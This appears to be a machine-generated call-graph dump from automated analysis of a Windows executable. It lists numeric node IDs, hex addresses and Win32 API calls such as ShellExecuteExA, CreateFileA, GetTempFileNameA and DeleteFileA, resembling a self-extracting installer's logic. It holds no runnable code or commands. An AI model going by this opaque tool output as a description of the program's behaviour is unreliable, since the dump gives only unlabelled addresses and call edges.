13332->13334 13335 4175ca 13332->13335 13333 41762d FreeEnvironmentStringsA 13333->13321 13334->13328 13337 413f9f ctype 29 API calls 13335->13337 13336->13333 13337->13334 13339 4172d4 13338->13339 13340 4172d9 GetModuleFileNameA 13338->13340 13812 418212 13339->13812 13342 4172fc 13340->13342 13343 413e65 ctype 29 API calls 13342->13343 13344 41731d 13343->13344 13345 41732d 13344->13345 13346 414c0c ctype 7 API calls 13344->13346 13345->13266 13346->13345 13348 417216 13347->13348 13351 41721b ctype 13347->13351 13349 418212 48 API calls 13348->13349 13349->13351 13350 413e65 ctype 29 API calls 13352 417248 13350->13352 13351->13350 13353 414c0c ctype 7 API calls 13352->13353 13359 41725c ctype 13352->13359 13353->13359 13354 41729f 13355 413f9f ctype 29 API calls 13354->13355 13356 4172ab 13355->13356 13356->13268 13357 413e65 ctype 29 API calls 13357->13359 13358 414c0c ctype 7 API calls 13358->13359 13359->13354 13359->13357 13359->13358 13361 4171ba 13360->13361 13363 4171bf 13360->13363 13362 418212 48 API calls 13361->13362 13362->13363 13363->13271 13841 401a51 GetVersionExA 13364->13841 13369 402170 30 API calls 13370 401067 13369->13370 13371 402170 30 API calls 13370->13371 13372 401079 13371->13372 13373 402170 30 API calls 13372->13373 13374 40108b GetCommandLineW 13373->13374 13849 401c80 13374->13849 13381 402170 30 API calls 13382 4010c7 13381->13382 13866 4045e2 13382->13866 13389 401c80 30 API calls 13390 4010f5 13389->13390 13898 401e3a 13390->13898 13395 403a9c ctype 29 API calls 13396 401118 13395->13396 13397 403a9c ctype 29 API calls 13396->13397 13398 401120 13397->13398 13399 40115a 13398->13399 14015 401e19 13398->14015 13905 40243e 13399->13905 13406 401182 13408 401186 13406->13408 13409 40119f 13406->13409 13407 401141 13410 403a9c ctype 29 API calls 13407->13410 13411 401197 13408->13411 14022 411093 MessageBoxW 13408->14022 13412 401c80 30 API calls 13409->13412 13413 401149 13410->13413 13418 403a9c ctype 29 API calls 13411->13418 13415 4011af 13412->13415 13416 40235e 30 API calls 13413->13416 13417 402170 30 API calls 13415->13417 13419 401152 13416->13419 13426 4011c1 13417->13426 13420 4019cc 13418->13420 13421 402323 30 API calls 13419->13421 13423 403a9c ctype 29 API calls 13420->13423 13421->13399 13422 4014b1 13918 401ecd 13422->13918 13424 4019d4 13423->13424 13427 403a9c ctype 29 API calls 13424->13427 13426->13422 14023 403d5a 13426->14023 13431 4019dc 13427->13431 13434 403a9c ctype 29 API calls 13431->13434 13435 4019e4 13434->13435 13441 403a9c ctype 29 API calls 13435->13441 13436 4014f0 13926 403a76 13436->13926 13437 4014d7 13442 4014e8 13437->13442 14067 411093 MessageBoxW 13437->14067 13438 401212 13443 401c80 30 API calls 13438->13443 13439 4011f9 13440 40120a 13439->13440 14050 411093 MessageBoxW 13439->14050 14058 4042d6 13440->14058 13446 4019ec 13441->13446 13449 401a2d 36 API calls 13442->13449 13448 40121f 13443->13448 13450 403a9c ctype 29 API calls 13446->13450 14051 404073 13448->14051 13453 4019a3 13449->13453 13635 401395 13450->13635 13456 403a9c ctype 29 API calls 13453->13456 13462 4019ae 13456->13462 13457 403a9c ctype 29 API calls 13463 401239 13457->13463 13458 4014f7 13931 408107 13458->13931 13460 40134f 13464 403a9c ctype 29 API calls 13460->13464 13466 403a9c ctype 29 API calls 13462->13466 13467 401c80 30 API calls 13463->13467 13468 401357 13464->13468 13471 4019b6 13466->13471 13472 401248 13467->13472 13473 403a9c ctype 29 API calls 13468->13473 13469 40152a 14068 411093 MessageBoxW 13469->14068 13470 40153b 13941 401a03 13470->13941 13475 403a9c ctype 29 API calls 13471->13475 13477 404073 30 API calls 13472->13477 13478 401362 13473->13478 13475->13411 13480 40125a 13477->13480 13481 403a9c ctype 29 API calls 13478->13481 13483 403a9c ctype 29 API calls 13480->13483 13484 40136a 13481->13484 13482 402170 30 API calls 13485 401562 13482->13485 13486 401262 13483->13486 13488 403a9c ctype 29 API calls 13484->13488 13944 402f15 13485->13944 13487 401c80 30 API calls 13486->13487 13490 401271 13487->13490 13491 401372 13488->13491 13493 404073 30 API calls 13490->13493 13494 403a9c ctype 29 API calls 13491->13494 13498 401286 13493->13498 13499 40137a 13494->13499 13495 401585 13500 4015f0 13495->13500 13504 4015b6 13495->13504 14069 40602f 13495->14069 13496 4015f9 13497 403a9c ctype 29 API calls 13496->13497 13501 401601 13497->13501 13502 403a9c ctype 29 API calls 13498->13502 13503 403a9c ctype 29 API calls 13499->13503 13508 403a9c ctype 29 API calls 13500->13508 13506 401ecd 30 API calls 13501->13506 13507 40128e 13502->13507 13509 401382 13503->13509 13504->13500 13522 40602f 33 API calls 13504->13522 13511 40160a 13506->13511 13512 403b4f ctype 5 API calls 13507->13512 13513 4018bc 13508->13513 13514 403a9c ctype 29 API calls 13509->13514 13986 405033 13511->13986 13517 40129f 13512->13517 13518 403a9c ctype 29 API calls 13513->13518 13519 40138a 13514->13519 13515 401d7a 30 API calls 13520 4015ab 13515->13520 13528 401c80 30 API calls 13517->13528 13523 4018c7 13518->13523 13524 403a9c ctype 29 API calls 13519->13524 13525 403a9c ctype 29 API calls 13520->13525 13521 401612 SetCurrentDirectoryA 13526 401651 13521->13526 13527 401624 SetCurrentDirectoryA 13521->13527 13529 4015d6 MessageBoxW 13522->13529 14100 401a2d 13523->14100 13524->13635 13525->13504 13530 40165a 13526->13530 13531 40172c 13526->13531 13533 403a9c ctype 29 API calls 13527->13533 13534 4012b6 13528->13534 13535 403a9c ctype 29 API calls 13529->13535 13536 401a18 31 API calls 13530->13536 13538 401787 13531->13538 14076 401d1b 13531->14076 13539 401631 13533->13539 13550 403a9c ctype 29 API calls 13534->13550 13535->13500 13540 401665 13536->13540 13537 4018de 13541 403a9c ctype 29 API calls 13537->13541 13991 401ce1 13538->13991 13544 403a9c ctype 29 API calls 13539->13544 13545 401693 13540->13545 13546 40169f 13540->13546 13547 4018e9 13541->13547 13544->13442 14072 401de3 13545->14072 13553 401a18 31 API calls 13546->13553 13552 403a9c ctype 29 API calls 13547->13552 13556 4012ce 13550->13556 13558 4018f1 13552->13558 13559 4016aa ShellExecuteExA 13553->13559 13555 401a18 31 API calls 13561 40174c 13555->13561 13557 4012eb 13556->13557 13562 401d7a 30 API calls 13556->13562 13563 40139d 13557->13563 13571 4012fd MessageBoxW 13557->13571 13564 403a9c ctype 29 API calls 13558->13564 13565 4016e6 13559->13565 13566 40170d 13559->13566 14080 40587c 13561->14080 13562->13557 13570 401c80 30 API calls 13563->13570 13572 4018fc 13564->13572 13573 4016f7 13565->13573 14075 411093 MessageBoxW 13565->14075 13569 403a9c ctype 29 API calls 13566->13569 13567 401c80 30 API calls 13574 4017ab 13567->13574 13576 40171e 13569->13576 13577 4013aa 13570->13577 13571->13563 13578 401315 13571->13578 13579 403a9c ctype 29 API calls 13572->13579 13582 403a9c ctype 29 API calls 13573->13582 13998 401e56 13574->13998 13584 403a9c ctype 29 API calls 13576->13584 13585 404073 30 API calls 13577->13585 13586 403a9c ctype 29 API calls 13578->13586 13587 401904 13579->13587 13589 4016ff 13582->13589 13583 403a9c ctype 29 API calls 13590 401767 13583->13590 13591 401726 13584->13591 13592 4013bf 13585->13592 13593 401320 13586->13593 13594 403a9c ctype 29 API calls 13587->13594 13596 403a9c ctype 29 API calls 13589->13596 13590->13538 13597 40176d 13590->13597 13599 40195a 13591->13599 13600 401d7a 30 API calls 13592->13600 13601 403a9c ctype 29 API calls 13593->13601 13602 40190c 13594->13602 13595 403a9c ctype 29 API calls 13603 4017c3 13595->13603 13604 401707 13596->13604 13598 4018af SetCurrentDirectoryA 13597->13598 14088 411093 MessageBoxW 13597->14088 13598->13500 13607 401960 WaitForSingleObject CloseHandle 13599->13607 13608 401974 SetCurrentDirectoryA 13599->13608 13609 4013c8 13600->13609 13610 401328 13601->13610 13611 403a9c ctype 29 API calls 13602->13611 13612 403a9c ctype 29 API calls 13603->13612 13605 401782 13604->13605 13605->13598 13607->13608 13614 403a9c ctype 29 API calls 13608->13614 13613 403a9c ctype 29 API calls 13609->13613 13615 403a9c ctype 29 API calls 13610->13615 13616 401914 13611->13616 13617 4017cb 13612->13617 13619 4013d3 13613->13619 13620 401981 13614->13620 13615->13440 13621 403a9c ctype 29 API calls 13616->13621 13618 401c80 30 API calls 13617->13618 13622 4017da 13618->13622 13623 403a9c ctype 29 API calls 13619->13623 13624 403a9c ctype 29 API calls 13620->13624 13625 40191c 13621->13625 13627 401e56 30 API calls 13622->13627 13628 4013db 13623->13628 13624->13442 13626 403a9c ctype 29 API calls 13625->13626 13629 401924 13626->13629 13630 4017ed 13627->13630 13631 401c80 30 API calls 13628->13631 13632 403a9c ctype 29 API calls 13629->13632 13633 403a9c ctype 29 API calls 13630->13633 13634 4013ea 13631->13634 13632->13635 13636 4017f5 13633->13636 13637 404073 30 API calls 13634->13637 13690 416c96 13635->13690 13638 401811 13636->13638 14089 401db8 13636->14089 13639 4013ff 13637->13639 14002 402634 13638->14002 13640 401d7a 30 API calls 13639->13640 13643 401408 13640->13643 13646 403a9c ctype 29 API calls 13643->13646 13649 401413 13646->13649 13647 401de3 30 API calls 13647->13638 13651 403a9c ctype 29 API calls 13649->13651 13654 40141b 13651->13654 13657 401c80 30 API calls 13654->13657 13660 40142a 13657->13660 13663 404073 30 API calls 13660->13663 13664 401443 13663->13664 13665 402634 30 API calls 13664->13665 13666 401450 13665->13666 13667 401d7a 30 API calls 13666->13667 13668 401459 13667->13668 13669 403a9c ctype 29 API calls 13668->13669 13670 401464 13669->13670 13671 403a9c ctype 29 API calls 13670->13671 13672 40146f 13671->13672 13673 403a9c ctype 29 API calls 13672->13673 13674 401477 13673->13674 13675 403a9c ctype 29 API calls 13674->13675 13676 401482 13675->13676 13677 403a9c ctype 29 API calls 13676->13677 13678 40148a 13677->13678 13679 403a9c ctype 29 API calls 13678->13679 13680 401492 13679->13680 13681 4042d6 ctype 34 API calls 13680->13681 13682 4014a6 13681->13682 13683 4042ad ctype 34 API calls 13682->13683 13683->13422 13685 414c3a 13684->13685 13686 414c3f 13684->13686 13687 4177fd ctype 7 API calls 13685->13687 13688 417836 ctype 7 API calls 13686->13688 13687->13686 13689 414c48 ExitProcess 13688->13689 16466 416cb8 13690->16466 13693 417039 13694 415523 35 API calls 13693->13694 13695 417044 13694->13695 13696 41716a UnhandledExceptionFilter 13695->13696 13697 414bfe 13695->13697 13696->13697 13712 413cc0 13698->13712 13701 4158f3 GetEnvironmentVariableA 13705 415912 13701->13705 13709 4159d0 13701->13709 13702 4158d9 13702->13701 13703 4158eb 13702->13703 13703->13284 13703->13285 13706 415957 GetModuleFileNameA 13705->13706 13707 41594f 13705->13707 13706->13707 13707->13709 13714 4179f0 13707->13714 13709->13703 13717 415883 GetModuleHandleA 13709->13717 13711 415a71 13710->13711 13711->13288 13713 413ccc GetVersionExA 13712->13713 13713->13701 13713->13702 13719 417a07 13714->13719 13718 41589a 13717->13718 13718->13703 13721 417a1f 13719->13721 13723 417a4f 13721->13723 13728 4187a8 13721->13728 13722 4187a8 6 API calls 13722->13723 13723->13722 13725 417b78 13723->13725 13727 417a03 13723->13727 13732 41866d 13723->13732 13725->13727 13743 416eea 13725->13743 13727->13709 13729 4187c6 13728->13729 13731 4187ba 13728->13731 13746 418a6c 13729->13746 13731->13721 13733 41868b InterlockedIncrement 13732->13733 13735 418678 13732->13735 13734 4186a7 InterlockedDecrement 13733->13734 13739 4186b1 13733->13739 13736 41570a ctype 29 API calls 13734->13736 13735->13723 13736->13739 13758 4186dc 13739->13758 13740 4186d1 InterlockedDecrement 13740->13735 13741 4186c7 13764 41576b LeaveCriticalSection 13741->13764 13783 415523 GetLastError TlsGetValue 13743->13783 13745 416eef 13745->13727 13747 418a9d GetStringTypeW 13746->13747 13749 418ab5 13746->13749 13747->13749 13750 418ab9 GetStringTypeA 13747->13750 13748 418b04 13751 418ba1 13748->13751 13754 418b1a MultiByteToWideChar 13748->13754 13749->13748 13752 418ae0 GetStringTypeA 13749->13752 13750->13749 13750->13751 13751->13731 13752->13751 13754->13751 13755 418b3e ctype 13754->13755 13755->13751 13756 418b78 MultiByteToWideChar 13755->13756 13756->13751 13757 418b91 GetStringTypeW 13756->13757 13757->13751 13759 418707 13758->13759 13763 4186be 13758->13763 13760 418723 13759->13760 13761 4187a8 6 API calls 13759->13761 13760->13763 13765 41881d 13760->13765 13761->13760 13763->13740 13763->13741 13764->13735 13766 418869 13765->13766 13767 41884d LCMapStringW 13765->13767 13770 4188b2 LCMapStringA 13766->13770 13771 4188cf 13766->13771 13767->13766 13768 418871 LCMapStringA 13767->13768 13768->13766 13769 4189ab 13768->13769 13769->13763 13770->13769 13771->13769 13772 4188e5 MultiByteToWideChar 13771->13772 13772->13769 13773 41890f 13772->13773 13773->13769 13774 418945 MultiByteToWideChar 13773->13774 13774->13769 13775 41895e LCMapStringW 13774->13775 13775->13769 13776 418979 13775->13776 13777 41897f 13776->13777 13779 4189bf 13776->13779 13777->13769 13778 41898d LCMapStringW 13777->13778 13778->13769 13779->13769 13780 4189f7 LCMapStringW 13779->13780 13780->13769 13781 418a0f WideCharToMultiByte 13780->13781 13781->13769 13784 41553f 13783->13784 13785 41557e SetLastError 13783->13785 13794 416efc 13784->13794 13785->13745 13788 415550 TlsSetValue 13789 415576 13788->13789 13790 415561 13788->13790 13791 414c0c ctype 7 API calls 13789->13791 13793 415567 GetCurrentThreadId 13790->13793 13792 41557d 13791->13792 13792->13785 13793->13785 13802 416f31 ctype 13794->13802 13795 415548 13795->13788 13795->13789 13796 416fe9 HeapAlloc 13796->13802 13797 41570a 29 API calls ctype 13797->13802 13798 415df1 ctype 5 API calls 13798->13802 13799 416894 ctype 6 API calls 13799->13802 13802->13795 13802->13796 13802->13797 13802->13798 13802->13799 13803 416f95 13802->13803 13806 41701e 13802->13806 13809 41576b LeaveCriticalSection 13803->13809 13805 416f9c 13805->13802 13810 41576b LeaveCriticalSection 13806->13810 13808 417025 13808->13802 13809->13805 13810->13808 13811->13293 13813 41821b 13812->13813 13814 418222 13812->13814 13816 417e3a 13813->13816 13814->13340 13817 41570a ctype 29 API calls 13816->13817 13818 417e4a 13817->13818 13827 417fe7 13818->13827 13822 417e9c 13826 417e61 13822->13826 13832 41808d GetCPInfo 13822->13832 13823 417fdf 13823->13814 13825 417e86 GetCPInfo 13825->13822 13840 41576b LeaveCriticalSection 13826->13840 13828 418007 13827->13828 13829 417ff7 GetOEMCP 13827->13829 13830 417e52 13828->13830 13831 41800c GetACP 13828->13831 13829->13828 13830->13822 13830->13825 13830->13826 13831->13830 13833 418178 13832->13833 13837 4180b0 13832->13837 13833->13826 13834 418a6c 6 API calls 13835 41812c 13834->13835 13836 41881d 9 API calls 13835->13836 13838 418150 13836->13838 13837->13834 13839 41881d 9 API calls 13838->13839 13839->13833 13840->13823 13842 40102d 13841->13842 13843 402170 13842->13843 13844 402180 13843->13844 13845 401055 13843->13845 13846 403a76 30 API calls 13844->13846 13845->13369 13847 40218a 13846->13847 13847->13845 13848 403a9c ctype 29 API calls 13847->13848 13848->13845 13850 401c9e 13849->13850 13851 402170 30 API calls 13850->13851 13852 40109a 13851->13852 13853 4038ee 13852->13853 13859 4038f8 __EH_prolog 13853->13859 13854 4010ac 13863 403a9c 13854->13863 13855 40396d 13856 401e19 30 API calls 13855->13856 13858 40397c 13856->13858 13857 401db8 30 API calls 13857->13859 13860 401d7a 30 API calls 13858->13860 13859->13854 13859->13855 13859->13857 13861 403989 13860->13861 13862 403a9c ctype 29 API calls 13861->13862 13862->13854 13864 413f9f ctype 29 API calls 13863->13864 13865 4010b4 13864->13865 13865->13381 13867 4045ec __EH_prolog 13866->13867 13868 40460b GetModuleFileNameW 13867->13868 13869 40463f 13867->13869 13870 404625 13868->13870 13871 404637 13868->13871 13872 40243e 30 API calls 13869->13872 13870->13871 13876 401d1b 30 API calls 13870->13876 13874 4010d5 13871->13874 13873 404652 13872->13873 14105 404598 GetModuleFileNameA 13873->14105 13886 40235e 13874->13886 13876->13871 13878 40468e 13881 403a9c ctype 29 API calls 13878->13881 13879 404663 AreFileApisANSI 14109 403b9c 13879->14109 13881->13871 13883 401d7a 30 API calls 13884 404686 13883->13884 13885 403a9c ctype 29 API calls 13884->13885 13885->13878 13887 402368 __EH_prolog 13886->13887 14127 4025a3 13887->14127 13889 402377 13890 403a9c ctype 29 API calls 13889->13890 13891 4010dd 13890->13891 13892 402323 13891->13892 13893 40232d __EH_prolog 13892->13893 13894 4025a3 30 API calls 13893->13894 13895 40233c 13894->13895 13896 403a9c ctype 29 API calls 13895->13896 13897 4010e5 13896->13897 13897->13389 14141 40220e 13898->14141 13901 403b4f 13904 403b58 13901->13904 13902 403aa7 5 API calls ctype 13902->13904 13903 40110e 13903->13395 13904->13902 13904->13903 13906 40244e 13905->13906 13910 40116c 13905->13910 13907 403a76 30 API calls 13906->13907 13908 402455 13907->13908 13908->13908 13909 403a9c ctype 29 API calls 13908->13909 13908->13910 13909->13910 13911 401af4 13910->13911 13912 401afe __EH_prolog 13911->13912 14154 405b6d 13912->14154 13914 401b30 13914->13406 13915 401b2c ctype 13915->13914 13915->13915 14157 405bca 13915->14157 14161 401ee5 13915->14161 13919 40243e 30 API calls 13918->13919 13920 4014c2 13919->13920 13921 405298 13920->13921 13922 401a2d 36 API calls 13921->13922 13923 4052a0 13922->13923 14225 4051c8 13923->14225 13927 413e65 ctype 29 API calls 13926->13927 13928 403a81 13927->13928 13929 403a9a 13928->13929 14327 413d3d RaiseException 13928->14327 13929->13458 13932 408111 __EH_prolog 13931->13932 13933 4042d6 ctype 34 API calls 13932->13933 13935 408120 13933->13935 13936 401d1b 30 API calls 13935->13936 13940 401526 13935->13940 14328 4081a8 13935->14328 14331 407f06 13935->14331 14358 408248 13935->14358 14366 402092 13935->14366 13936->13935 13940->13469 13940->13470 13942 403b9c 31 API calls 13941->13942 13943 40154c 13942->13943 13943->13482 13945 402f1f __EH_prolog 13944->13945 14444 403376 13945->14444 13948 401d7a 30 API calls 13949 402f53 13948->13949 13950 401d7a 30 API calls 13949->13950 13951 402f61 13950->13951 13952 403a76 30 API calls 13951->13952 13953 402f6b 13952->13953 13955 402f7e 13953->13955 14510 4034e3 13953->14510 13956 403037 13955->13956 13957 402f9a 13955->13957 14452 403113 13956->14452 14524 413220 13957->14524 13960 403042 13962 401d7a 30 API calls 13960->13962 13961 402fc2 13963 402fd5 13961->13963 13964 402fc8 13961->13964 13966 403050 13962->13966 13965 402170 30 API calls 13963->13965 14530 4131e0 13964->14530 13968 402fe8 13965->13968 13969 403065 13966->13969 13972 401d7a 30 API calls 13966->13972 13971 40602f 33 API calls 13968->13971 14500 40348a 13969->14500 13973 402ff7 13971->13973 13972->13969 13975 401d7a 30 API calls 13973->13975 13977 403004 13975->13977 13978 403a9c ctype 29 API calls 13977->13978 13979 403010 13978->13979 14534 40309d 13979->14534 13981 403021 13982 403a9c ctype 29 API calls 13981->13982 13983 403029 13982->13983 13984 4131e0 ctype 2 API calls 13983->13984 13985 403035 13984->13985 13985->13960 13987 405041 13986->13987 13988 405047 GetCurrentDirectoryA 13986->13988 13989 40243e 30 API calls 13987->13989 13990 405059 13988->13990 13989->13988 13990->13521 13992 402170 30 API calls 13991->13992 13993 401796 13992->13993 13994 405d0b 13993->13994 13995 40179e 13994->13995 13996 405d16 13994->13996 13995->13567 13996->13995 13997 401db8 30 API calls 13996->13997 13997->13995 13999 4017bb 13998->13999 14000 401e69 13998->14000 13999->13595 14000->13999 16281 402399 14000->16281 14003 40263e __EH_prolog 14002->14003 14004 401ce1 30 API calls 14003->14004 14005 402651 14004->14005 14006 401de3 30 API calls 14005->14006 14016 40220e 30 API calls 14015->14016 14017 401138 14016->14017 14018 401d7a 14017->14018 14019 401d86 14018->14019 14021 401d98 14018->14021 14020 402170 30 API calls 14019->14020 14020->14021 14021->13407 14022->13411 14024 403d64 __EH_prolog 14023->14024 14025 4042d6 ctype 34 API calls 14024->14025 14048 403d75 14025->14048 14026 402ee1 30 API calls 14026->14048 14028 40411f 30 API calls 14028->14048 14029 403eec 14030 403a9c ctype 29 API calls 14029->14030 14031 403ef4 14030->14031 14032 403a9c ctype 29 API calls 14031->14032 14033 403efc 14032->14033 14034 403a9c ctype 29 API calls 14033->14034 14035 4011f5 14034->14035 14035->13438 14035->13439 14036 40243e 30 API calls 14036->14048 14037 403f09 14038 403a9c ctype 29 API calls 14037->14038 14039 403f11 14038->14039 14040 403a9c ctype 29 API calls 14039->14040 14041 403f19 14040->14041 14043 403a9c ctype 29 API calls 14041->14043 14044 403f21 14043->14044 14047 403a9c ctype 29 API calls 14044->14047 14045 403a9c 29 API calls ctype 14045->14048 14046 401ee5 30 API calls 14046->14048 14047->14035 14048->14026 14048->14028 14048->14029 14048->14035 14048->14036 14048->14037 14048->14045 14048->14046 16289 403f3c 14048->16289 16299 4040be 14048->16299 16309 40213f 14048->16309 14050->13440 14052 40408b 14051->14052 14053 4040a5 14052->14053 14054 40408f 14052->14054 14056 401ce1 30 API calls 14053->14056 14055 402170 30 API calls 14054->14055 14057 401231 14055->14057 14056->14057 14057->13457 14059 4042eb ctype 34 API calls 14058->14059 14060 401344 14059->14060 14061 4042ad 14060->14061 14062 4042b8 14061->14062 14063 4042d6 ctype 34 API calls 14062->14063 14064 4042c0 14063->14064 14065 403a9c ctype 29 API calls 14064->14065 14066 4042c8 14065->14066 14066->13460 14067->13442 14068->13442 16314 405f5e 14069->16314 14073 4021c4 30 API calls 14072->14073 14074 401df3 14073->14074 14074->13546 14075->13573 14077 401d38 14076->14077 14078 402170 30 API calls 14077->14078 14079 40173e 14078->14079 14079->13555 14081 405886 __EH_prolog 14080->14081 14082 404d51 30 API calls 14081->14082 14083 405895 14082->14083 14084 405806 32 API calls 14083->14084 14085 4058a2 14084->14085 14086 403a9c ctype 29 API calls 14085->14086 14087 401753 14086->14087 14087->13583 14088->13605 14090 4021c4 30 API calls 14089->14090 14091 401805 14090->14091 14091->13647 14101 401a35 14100->14101 14102 401a39 14100->14102 14101->13537 16376 404c4a 14102->16376 14106 4045c7 14105->14106 14108 4045d9 14105->14108 14106->14108 14122 4046ab 14106->14122 14108->13878 14108->13879 14110 403ba6 __EH_prolog 14109->14110 14111 402170 30 API calls 14110->14111 14112 403bc9 14111->14112 14113 403c10 14112->14113 14114 403be1 MultiByteToWideChar 14112->14114 14116 402170 30 API calls 14112->14116 14115 401ce1 30 API calls 14113->14115 14114->14113 14117 403bfb 14114->14117 14118 403c26 14115->14118 14116->14114 14126 413d3d RaiseException 14117->14126 14120 403a9c ctype 29 API calls 14118->14120 14121 403c2e 14120->14121 14121->13883 14123 4046c1 14122->14123 14123->14123 14124 40243e 30 API calls 14123->14124 14125 4046d0 14124->14125 14125->14108 14126->14113 14128 4025ad __EH_prolog 14127->14128 14129 402170 30 API calls 14128->14129 14130 4025c9 14129->14130 14131 401db8 30 API calls 14130->14131 14132 4025d6 14131->14132 14133 401db8 30 API calls 14132->14133 14134 4025e0 14133->14134 14135 401db8 30 API calls 14134->14135 14136 4025ea 14135->14136 14137 401ce1 30 API calls 14136->14137 14138 4025f6 14137->14138 14139 403a9c ctype 29 API calls 14138->14139 14140 4025fe 14139->14140 14140->13889 14143 402218 __EH_prolog 14141->14143 14142 40224c 14145 402170 30 API calls 14142->14145 14143->14142 14144 402241 14143->14144 14146 401ce1 30 API calls 14144->14146 14147 40225f 14145->14147 14153 401105 14146->14153 14148 402170 30 API calls 14147->14148 14149 40226c 14148->14149 14150 401ce1 30 API calls 14149->14150 14151 4022a0 14150->14151 14152 403a9c ctype 29 API calls 14151->14152 14152->14153 14153->13901 14164 405b4c 14154->14164 14158 405bd7 14157->14158 14160 405c03 14158->14160 14216 405ba8 14158->14216 14160->13915 14221 40248c 14161->14221 14167 405b2f 14164->14167 14170 4059b3 14167->14170 14171 4059bd __EH_prolog 14170->14171 14172 405a25 14171->14172 14173 4059ce 14171->14173 14188 405a63 14172->14188 14174 401c80 30 API calls 14173->14174 14177 4059d9 AreFileApisANSI 14174->14177 14191 403d04 14177->14191 14178 405a30 CreateFileW 14179 405a53 14178->14179 14179->13915 14184 403a9c ctype 29 API calls 14185 405a17 14184->14185 14186 403a9c ctype 29 API calls 14185->14186 14187 405a1f 14186->14187 14187->14179 14189 405a6d FindCloseChangeNotification 14188->14189 14190 405a2c 14188->14190 14189->14190 14190->14178 14190->14179 14199 403c43 14191->14199 14194 40597a 14195 405a63 FindCloseChangeNotification 14194->14195 14196 405985 14195->14196 14197 405989 CreateFileA 14196->14197 14198 4059ae 14196->14198 14197->14198 14198->14184 14200 403c4d __EH_prolog 14199->14200 14201 40243e 30 API calls 14200->14201 14202 403c6f 14201->14202 14203 403cd3 14202->14203 14205 403c90 WideCharToMultiByte 14202->14205 14207 40243e 30 API calls 14202->14207 14213 403d24 14203->14213 14205->14203 14208 403cbe 14205->14208 14207->14205 14212 413d3d RaiseException 14208->14212 14209 403a9c ctype 29 API calls 14211 403cf0 14209->14211 14211->14194 14212->14203 14214 40243e 30 API calls 14213->14214 14215 403ce8 14214->14215 14215->14209 14217 405bb5 14216->14217 14220 405b7b ReadFile 14217->14220 14219 405bc6 14219->14158 14220->14219 14222 401eef 14221->14222 14223 4024a0 14221->14223 14222->13915 14224 40243e 30 API calls 14223->14224 14224->14222 14226 4051d2 __EH_prolog 14225->14226 14241 405268 14226->14241 14229 405243 14267 4051a4 14229->14267 14230 4051a4 SetFileAttributesA DeleteFileA 14232 4051e3 14230->14232 14232->14229 14232->14230 14235 4014d3 14232->14235 14236 403a9c ctype 29 API calls 14232->14236 14239 405268 30 API calls 14232->14239 14240 40522c GetLastError 14232->14240 14244 40511b 14232->14244 14258 4058cd 14232->14258 14266 40498d CreateDirectoryA 14232->14266 14233 40524b 14234 403a9c ctype 29 API calls 14233->14234 14234->14235 14235->13436 14235->13437 14236->14232 14239->14232 14240->14232 14240->14235 14242 40243e 30 API calls 14241->14242 14243 405281 14242->14243 14243->14232 14245 405125 __EH_prolog 14244->14245 14246 40243e 30 API calls 14245->14246 14247 405141 14246->14247 14272 40506f 14247->14272 14249 40514c 14257 405164 14249->14257 14277 4050e5 14249->14277 14250 403a9c ctype 29 API calls 14252 405191 14250->14252 14252->14232 14255 405170 14256 4050e5 33 API calls 14255->14256 14255->14257 14256->14257 14257->14250 14259 4058d7 __EH_prolog 14258->14259 14298 404d51 14259->14298 14264 403a9c ctype 29 API calls 14265 4058fd 14264->14265 14265->14232 14266->14232 14268 4051b0 14267->14268 14269 4051ac 14267->14269 14321 404bdc 14268->14321 14269->14233 14271 4051b8 14271->14233 14273 405083 GetTempPathA 14272->14273 14274 40507d 14272->14274 14276 405095 14273->14276 14275 40243e 30 API calls 14274->14275 14275->14273 14276->14249 14278 4051a4 2 API calls 14277->14278 14279 4050ee 14278->14279 14289 4050ab 14279->14289 14281 4050ff 14282 405111 14281->14282 14294 4052f9 14281->14294 14282->14257 14284 4047db 14282->14284 14285 4047e9 14284->14285 14286 4047ef GetWindowsDirectoryA 14284->14286 14287 40243e 30 API calls 14285->14287 14288 404802 14286->14288 14287->14286 14288->14255 14290 4050c0 14289->14290 14291 4050c8 GetTempFileNameA 14289->14291 14292 40243e 30 API calls 14290->14292 14293 4050dd 14291->14293 14292->14291 14293->14281 14295 405305 14294->14295 14297 405316 14294->14297 14296 40243e 30 API calls 14295->14296 14296->14297 14297->14282 14299 40243e 30 API calls 14298->14299 14300 404d68 14299->14300 14301 405806 14300->14301 14302 405810 __EH_prolog 14301->14302 14307 40553a 14302->14307 14308 40551a FindClose 14307->14308 14309 40554b 14308->14309 14310 405566 14309->14310 14311 40554f FindFirstFileA 14309->14311 14314 40551a 14310->14314 14311->14310 14312 40556a 14311->14312 14317 40557f 14312->14317 14315 405524 FindClose 14314->14315 14316 40552f 14314->14316 14315->14316 14316->14264 14318 4055bd 14317->14318 14319 4046ab 30 API calls 14318->14319 14320 4055da 14319->14320 14320->14310 14326 40489c SetFileAttributesA 14321->14326 14323 404be6 14324 404bea 14323->14324 14325 404bec DeleteFileA 14323->14325 14324->14271 14325->14271 14326->14323 14327->13929 14329 402170 30 API calls 14328->14329 14330 4081c8 14329->14330 14330->13935 14332 407f10 __EH_prolog 14331->14332 14333 407f67 14332->14333 14334 401c80 30 API calls 14332->14334 14336 401c80 30 API calls 14333->14336 14356 407f93 14333->14356 14335 407f4c 14334->14335 14374 408062 14335->14374 14340 407f78 14336->14340 14337 408018 14339 4042d6 ctype 34 API calls 14337->14339 14342 408027 14339->14342 14343 408062 35 API calls 14340->14343 14345 4042ad ctype 34 API calls 14342->14345 14346 407f87 14343->14346 14344 403a9c ctype 29 API calls 14344->14333 14348 408033 14345->14348 14349 403a9c ctype 29 API calls 14346->14349 14347 402ee1 30 API calls 14347->14356 14350 4042d6 ctype 34 API calls 14348->14350 14349->14356 14351 408045 14350->14351 14352 4042ad ctype 34 API calls 14351->14352 14353 408051 14352->14353 14353->13935 14354 401d7a 30 API calls 14354->14356 14356->14337 14356->14347 14356->14354 14357 403a9c 29 API calls ctype 14356->14357 14387 4081e7 14356->14387 14357->14356 14359 408252 __EH_prolog 14358->14359 14360 403a76 30 API calls 14359->14360 14361 40825d 14360->14361 14362 408274 14361->14362 14427 40828f 14361->14427 14364 4039df 30 API calls 14362->14364 14365 408280 14364->14365 14365->13935 14367 40209c __EH_prolog 14366->14367 14368 4042d6 ctype 34 API calls 14367->14368 14369 4020c0 14368->14369 14370 4042ad ctype 34 API calls 14369->14370 14371 4020cb 14370->14371 14372 403a9c ctype 29 API calls 14371->14372 14373 4020d3 14372->14373 14373->13935 14375 40806c __EH_prolog 14374->14375 14376 4042d6 ctype 34 API calls 14375->14376 14377 40807e 14376->14377 14378 402170 30 API calls 